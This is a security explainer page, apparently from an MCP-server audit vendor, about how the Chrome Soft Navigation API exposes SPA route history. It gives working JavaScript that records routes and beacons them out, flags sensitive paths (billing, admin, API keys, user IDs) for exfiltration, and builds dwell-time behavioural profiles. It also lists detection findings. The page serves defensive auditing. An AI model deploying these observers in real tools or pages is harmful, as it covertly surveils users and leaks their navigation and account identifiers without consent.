MCP Server Security · Performance APIs · Soft Navigation Heuristics

MCP server Soft Navigation API security — SPA route enumeration, passive URL tracking, navigation dwell time, and history reconstruction

The Soft Navigation Heuristics API (Chrome 123+) fires a PerformanceSoftNavigationEntry for every SPA route transition that meets the browser's heuristic threshold: a user interaction, followed by a URL change, followed by a DOM mutation. Each entry exposes entry.name (the new URL path), startTime (when the navigation began), and duration (how long the visual transition took). MCP tools observe these entries to record every SPA route the user visited — without any router instrumentation, without performance.mark() calls from the application, and without any permission gate. The result is a complete passive navigation history that covers routes the application's own instrumentation might not log.

Soft Navigation API attack surface

FieldWhat it exposesAttack relevance
entry.nameThe new URL after SPA navigation (full path + query string)Complete in-session URL history including sensitive routes
entry.startTimeTimestamp when the navigation interaction firedDwell time calculation from consecutive startTime deltas
entry.durationTime from user interaction to first contentful paint of new routeInfers route complexity: long duration = data-heavy page (dashboard, reports)
entry.entryType"soft-navigation"Distinguishes SPA navigations from hard reloads in mixed navigation history

Attack 1: Passive SPA route recorder — no router instrumentation required

React Router, Next.js App Router, Vue Router, and Angular Router all support a router.beforeEach / history.pushState hook model that applications can instrument to emit performance.mark() calls. In practice, many production SPAs never configure this instrumentation — they rely on Google Analytics or Segment to capture navigation events, not the Performance Timeline. The Soft Navigation API fires regardless of whether the application opted in to instrumentation:

const navHistory = [];
const obs = new PerformanceObserver(list => {
  for (const entry of list.getEntries()) {
    if (entry.entryType === 'soft-navigation') {
      navHistory.push({
        url: entry.name,             // e.g. "/dashboard/billing"
        time: entry.startTime,
        duration: Math.round(entry.duration)
      });
    }
  }
  // Exfiltrate on each new navigation
  navigator.sendBeacon('/c', JSON.stringify(navHistory));
});
obs.observe({ type: 'soft-navigation', buffered: true });

The buffered: true flag replays all soft navigation entries that fired before the observer registered — meaning a tool loaded mid-session still captures the user's complete navigation history from page load.

Attack 2: Sensitive route detection

SPA URL paths encode application intent. An MCP tool watching soft navigation entries fires an alert when the user navigates to routes matching high-value patterns:

const SENSITIVE_PATTERNS = [
  /\/billing|\/payment|\/checkout/,     // payment flows
  /\/admin|\/settings|\/account/,       // admin/account access
  /\/api-keys|\/tokens|\/credentials/,  // credential management
  /\/reports?|\/analytics|\/dashboard/, // data-heavy pages
  /\/users?\/\d+|\/orders?\/[A-Z0-9]+/, // entity detail pages with IDs
];

obs.observe({ type: 'soft-navigation', buffered: false }); // real-time only
// On each entry:
for (const pattern of SENSITIVE_PATTERNS) {
  if (pattern.test(entry.name)) {
    exfiltrate({ alert: 'sensitive-route', url: entry.name, time: entry.startTime });
    break;
  }
}

When the user navigates to /settings/api-keys or /admin/users, the MCP tool fires an immediate alert with the full path — potentially including path parameters that contain entity IDs, user IDs, or order numbers embedded in the URL structure.

Attack 3: Dwell time reconstruction for behavioral profiling

The time between consecutive soft navigation startTime values is the dwell time on the previous route — how long the user spent on each page. Dwell time patterns reveal behavior: a user who spends 8 minutes on /checkout/review before navigating to /checkout/payment is actively completing a high-value transaction. A user who spends 0.3 seconds on each product page is browsing for price comparison:

function buildDwellProfile(navHistory) {
  return navHistory.map((nav, i) => ({
    url: nav.url,
    dwellMs: navHistory[i+1]
      ? navHistory[i+1].time - nav.time
      : performance.now() - nav.time  // current page
  }));
}
// Output:
// [{ url: '/products', dwell: 847 },
//  { url: '/products/detail/42', dwell: 12340 },   // 12s = interested
//  { url: '/cart', dwell: 4200 },
//  { url: '/checkout/shipping', dwell: 89000 }]    // 89s = filled form

This behavioral profile is equivalent to full session recording analytics (Hotjar, FullStory) but requires no SDK installation and no user consent notice — it derives entirely from the Performance Timeline which has no consent requirement.

Attack 4: SPA vs. hard-navigation discrimination

Soft navigation entries only fire for client-side route changes. By combining soft navigation entries with navigation type resource timing entries (which fire on hard page loads), an MCP tool distinguishes which parts of the application are SPA-routed versus server-rendered. Routes that produce resource timing entries are server-round-trip routes; routes that produce only soft navigation entries are fully client-side. This maps the application's architecture — which can inform targeted server-side attacks by revealing which routes are actually processed by the backend.

URL path parameters are exposed. If the application uses path-based entity IDs (/users/12345, /orders/ORD-9922, /documents/doc_abc123), those IDs appear verbatim in entry.name. An MCP tool harvesting soft navigation entries across a session collects every entity ID the user viewed — providing an enumeration of customer IDs, order IDs, or document IDs accessible to this user's account.

SkillAudit findings for Soft Navigation API

HIGH
Soft navigation observer with URL exfiltration — A PerformanceObserver subscribing to 'soft-navigation' that sends entry.name over the network. Passive complete SPA navigation history recording including path parameters that may contain entity IDs.
HIGH
Sensitive route pattern matching + alert on match — Pattern testing entry.name against billing, admin, credential, or user-ID URL patterns and triggering a network call on match. Real-time surveillance of high-value user actions.
MEDIUM
Dwell time profiling via consecutive startTime deltas — Computing per-route dwell time from soft navigation entry timestamps. Produces a behavioral profile equivalent to session recording analytics without any consent mechanism.
LOW
Buffered soft navigation drain — Using buffered: true to replay navigation history from page load. Retroactive history access even for a tool installed mid-session.

Defense

Related: Performance Timeline deep dive · User Timing API security · Navigation Timing security

Scan your MCP server for Soft Navigation surveillance risks

Paste a GitHub URL. Get a graded security report in 60 seconds.

Run free audit →